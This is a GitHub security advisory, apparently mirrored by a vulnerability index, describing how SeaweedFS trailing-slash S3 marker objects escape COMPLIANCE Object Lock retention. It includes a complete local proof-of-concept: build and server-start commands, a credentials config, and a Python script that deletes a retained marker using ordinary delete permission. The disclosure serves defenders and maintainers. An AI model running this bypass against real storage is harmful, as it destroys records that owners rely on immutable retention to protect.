GHSA-4XPW-JVWX-H5G7
Trailing-slash S3 marker objects bypass COMPLIANCE retention
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4XPW-JVWX-H5G7 divulgada · CVSS 5.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Trailing-slash S3 marker objects bypass COMPLIANCE retention
Summary
`PutObject` handles keys ending in `/` and no larger than 1 KiB as directory markers before it checks versioning or Object Lock. The request accepts retention headers but stores no retention state and creates no version ID. `DeleteObject` later special-cases the same key and physically removes the marker without Object Lock enforcement. A principal with ordinary delete permission can therefore remove a visible COMPLIANCE-retained marker that an equivalent regular object protects.
Impact and affected scope
- Type: Object Lock / retention bypass
- Affected component: S3 trailing-slash marker creation, single-object delete, and multi-object delete
- Preconditions: An Object-Lock-enabled bucket and an authenticated principal with ordinary object deletion permission
- Verified revision: `8dcdb70594ae9e9c2ac07aa6d497f38d8c580448` on 27 August 2026
- Affected release range: `<= 4.44`, as entered by the maintainer; patched version not yet specified
The demonstrated impact is deletion of the marker, ETag, and metadata before the retention date. SeaweedFS advertises zero content length for marker GETs, so this report does not claim loss of a normally retrievable payload.
Technical details
The trailing-slash `PUT` fast path runs before versioning and Object Lock validation. The matching delete paths call the directory-marker deletion routine before normal retention enforcement. This creates an object that appears to accept COMPLIANCE headers but is not protected by the WORM boundary.
Relevant code:
- `weed/s3api/s3api_object_handlers_put.go:133,161,179,205` — takes the marker fast path before retention/version processing.
- `weed/s3api/s3api_object_handlers_delete.go:122,240,488` — deletes marker keys outside normal Object Lock enforcement.
- `weed/s3api/s3api_directory_marker.go:28` — performs the marker operation.
Reproduction
Run this only on an authorized disposable host with Go 1.26 and Python 3. Build the verified revision:
git clone https://github.com/seaweedfs/seaweedfs.git
cd seaweedfs
git checkout 8dcdb70594ae9e9c2ac07aa6d497f38d8c580448
go build -trimpath -o weed-poc ./weed
mkdir -p poc-data poc-tmpSave this as `s3-poc.json`:
{
"identities": [
{
"name": "retention-owner",
"credentials": [
{"accessKey": "retention-owner", "secretKey": "owner-secret"}
],
"actions": ["Admin"]
},
{
"name": "eraser",
"credentials": [
{"accessKey": "eraser", "secretKey": "eraser-secret"}
],
"policyNames": ["DeleteLockedObjects"]
}
],
"policies": [
{
"name": "DeleteLockedObjects",
"content": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:GetObjectVersion\",\"s3:DeleteObject\",\"s3:DeleteObjectVersion\"],\"Resource\":[\"arn:aws:s3:::locked-bucket/*\"]}]}"
}
]
}Start the service:
TMPDIR="$PWD/poc-tmp" WEED_TELEMETRY=false ./weed-poc mini \
-dir="$PWD/poc-data" \
-ip=127.0.0.1 -ip.bind=127.0.0.1 \
-master.port=19333 -volume.port=19340 -filer.port=18888 \
-s3.port=18333 -s3.port.iceberg=0 -s3.port.lance=0 \
-s3.config="$PWD/s3-poc.json" -metricsPort=19326 \
-webdav=false -admin.ui=false -master.telemetry=false \
-master.volumeSizeLimitMB=64 -volume.preStopSeconds=0 \
>seaweedfs-poc.log 2>&1 &Save this as `verify_object_lock_marker.py`:
#!/usr/bin/env python3
from __future__ import annotations
import datetime
import hashlib
import hmac
import http.client
import sys
import time
import urllib.parse
HOST = "127.0.0.1"
PORT = 18333
REGION = "us-east-1"
SERVICE = "s3"
def _sign(key: bytes, message: str) -> bytes:
return hmac.new(key, message.encode(), hashlib.sha256).digest()
def request(method: str, path: str, query: list[tuple[str, str]] | None = None,
body: bytes = b"", extra_headers: dict[str, str] | None = None,
access: str = "retention-owner",
secret: str = "owner-secret") -> tuple[int, bytes, dict[str, str]]:
query = query or []
extra_headers = extra_headers or {}
canonical_query = "&".join(
f"{urllib.parse.quote(k, safe='-_.~')}={urllib.parse.quote(v, safe='-_.~')}"
for k, v in sorted(query)
)
target = path + (("?" + canonical_query) if canonical_query else "")
now = datetime.datetime.now(datetime.timezone.utc)
amz_date = now.strftime("%Y%m%dT%H%M%SZ")
day = now.strftime("%Y%m%d")
payload_hash = hashlib.sha256(body).hexdigest()
headers_to_sign = {
"host": f"{HOST}:{PORT}",
"x-amz-content-sha256": payload_hash,
"x-amz-date": amz_date,
}
for name, value in extra_headers.items():
headers_to_sign[name.lower()] = " ".join(value.strip().split())
signed_names = sorted(headers_to_sign)
canonical_headers = "".join(
f"{name}:{headers_to_sign[name]}\n" for name in signed_names
)
signed_headers = ";".join(signed_names)
canonical_request = "\n".join([
method, path, canonical_query, canonical_headers, signed_headers, payload_hash,
])
scope = f"{day}/{REGION}/{SERVICE}/aws4_request"
string_to_sign = "\n".join([
"AWS4-HMAC-SHA256", amz_date, scope,
hashlib.sha256(canonical_request.encode()).hexdigest(),
])
key_date = _sign(("AWS4" + secret).encode(), day)
key_region = _sign(key_date, REGION)
key_service = _sign(key_region, SERVICE)
key_signing = _sign(key_service, "aws4_request")
signature = hmac.new(
key_signing, string_to_sign.encode(), hashlib.sha256
).hexdigest()
headers = dict(extra_headers)
headers.update({
"Host": f"{HOST}:{PORT}",
"x-amz-content-sha256": payload_hash,
"x-amz-date": amz_date,
"Authorization": (
f"AWS4-HMAC-SHA256 Credential={access}/{scope}, "
f"SignedHeaders={signed_headers}, Signature={signature}"
),
})
conn = http.client.HTTPConnection(HOST, PORT, timeout=15)
conn.request(method, target, body=body, headers=headers)
response = conn.getresponse()
data = response.read()
response_headers = {name.lower(): value for name, value in response.getheaders()}
status = response.status
conn.close()
return status, data, response_headers
def require(label: str, actual: int, expected: int, body: bytes) -> None:
print(f"{label}: HTTP {actual}")
if actual != expected:
print(body.decode(errors="replace"), file=sys.stderr)
raise SystemExit(f"expected HTTP {expected} for {label}, got {actual}")
def main() -> None:
for _ in range(90):
try:
if request("GET", "/")[0]:
break
except OSError:
time.sleep(1)
else:
raise SystemExit("S3 endpoint did not become ready")
owner = ("retention-owner", "owner-secret")
eraser = ("eraser", "eraser-secret")
status, body, _ = request(
"PUT", "/locked-bucket",
extra_headers={"x-amz-bucket-object-lock-enabled": "true"},
access=owner[0], secret=owner[1]
)
require("owner creates Object-Lock-enabled bucket", status, 200, body)
retention_headers = {
"x-amz-object-lock-mode": "COMPLIANCE",
"x-amz-object-lock-retain-until-date": "2037-08-27T00:00:00Z",
}
status, body, regular_headers = request(
"PUT", "/locked-bucket/records/regular", body=b"RETAINED-REGULAR-OBJECT",
extra_headers=retention_headers, access=owner[0], secret=owner[1]
)
require("owner uploads retained regular object", status, 200, body)
regular_version = regular_headers.get("x-amz-version-id", "")
if not regular_version:
raise SystemExit("regular retained object did not receive a version ID")
status, body, slash_headers = request(
"PUT", "/locked-bucket/records/evidence/", body=b"MARKER-EVIDENCE",
extra_headers=retention_headers, access=owner[0], secret=owner[1]
)
require("owner uploads retained trailing-slash marker", status, 200, body)
if slash_headers.get("x-amz-version-id"):
raise SystemExit("trailing-slash marker unexpectedly received a version ID")
if not slash_headers.get("etag", ""):
raise SystemExit("trailing-slash marker did not receive an ETag")
status, body, control_headers = request(
"PUT", "/locked-bucket/records/control", body=b"UNRETAINED-CONTROL",
access=owner[0], secret=owner[1]
)
require("owner uploads unretained permission control", status, 200, body)
control_version = control_headers.get("x-amz-version-id", "")
if not control_version:
raise SystemExit("permission control did not receive a version ID")
status, body, _ = request(
"DELETE", "/locked-bucket/records/control", [("versionId", control_version)],
access=eraser[0], secret=eraser[1]
)
require("eraser exact-deletes unretained control", status, 204, body)
status, body, _ = request(
"DELETE", "/locked-bucket/records/regular", [("versionId", regular_version)],
access=eraser[0], secret=eraser[1]
)
require("eraser cannot delete retained regular object", status, 403, body)
status, body, _ = request(
"HEAD", "/locked-bucket/records/evidence/",
access=eraser[0], secret=eraser[1]
)
require("marker exists before request", status, 200, body)
status, body, _ = request(
"DELETE", "/locked-bucket/records/evidence/",
access=eraser[0], secret=eraser[1]
)
require("eraser deletes retained marker", status, 204, body)
status, body, _ = request(
"HEAD", "/locked-bucket/records/evidence/",
access=eraser[0], secret=eraser[1]
)
require("marker after request", status, 404, body)
print("POC_SUCCESS: ordinary delete permission removed a retained marker")
if __name__ == "__main__":
main()Run:
python3 verify_object_lock_marker.pyThe verified run observed a version ID for the retained regular object but none for the retained marker. The delegated eraser deleted an unretained control with HTTP 204, was denied deletion of the retained regular object with HTTP 403, deleted the retained marker with HTTP 204, and then received HTTP 404 for its `HEAD` request.
Expected: equivalent COMPLIANCE retention prevents deletion of both regular and marker objects until expiry.
Observed: the marker fast paths bypassed the retention behavior demonstrated by the regular-object sibling control.
Suggested remediation
Route marker creation and deletion through the same versioning and Object Lock validation as regular objects, or add an equivalent retention/legal-hold guard before every marker deletion path, including multi-object delete.
Severity
CVSS v4.0: 5.3 (Medium) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N`
This assessment is preliminary and pending maintainer confirmation.
Disclosure context and attribution
AI tools helped surface this potential issue. We independently reviewed the evidence and reproduced it against the pinned revision before submitting it privately through SeaweedFS's required channel.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
https://github.com/Zyy0530 - Liyi Zhou (@lzhou1110)
https://github.com/lzhou1110 - Strick Sheng (@Str1ckl4nd)
https://github.com/Str1ckl4nd - Maurice Ng (@mauriceng98)
https://github.com/mauriceng98 - Chenchen Yu (@7thParkk)
https://github.com/7thParkk
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-4xpw-jvwx-h5g7Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
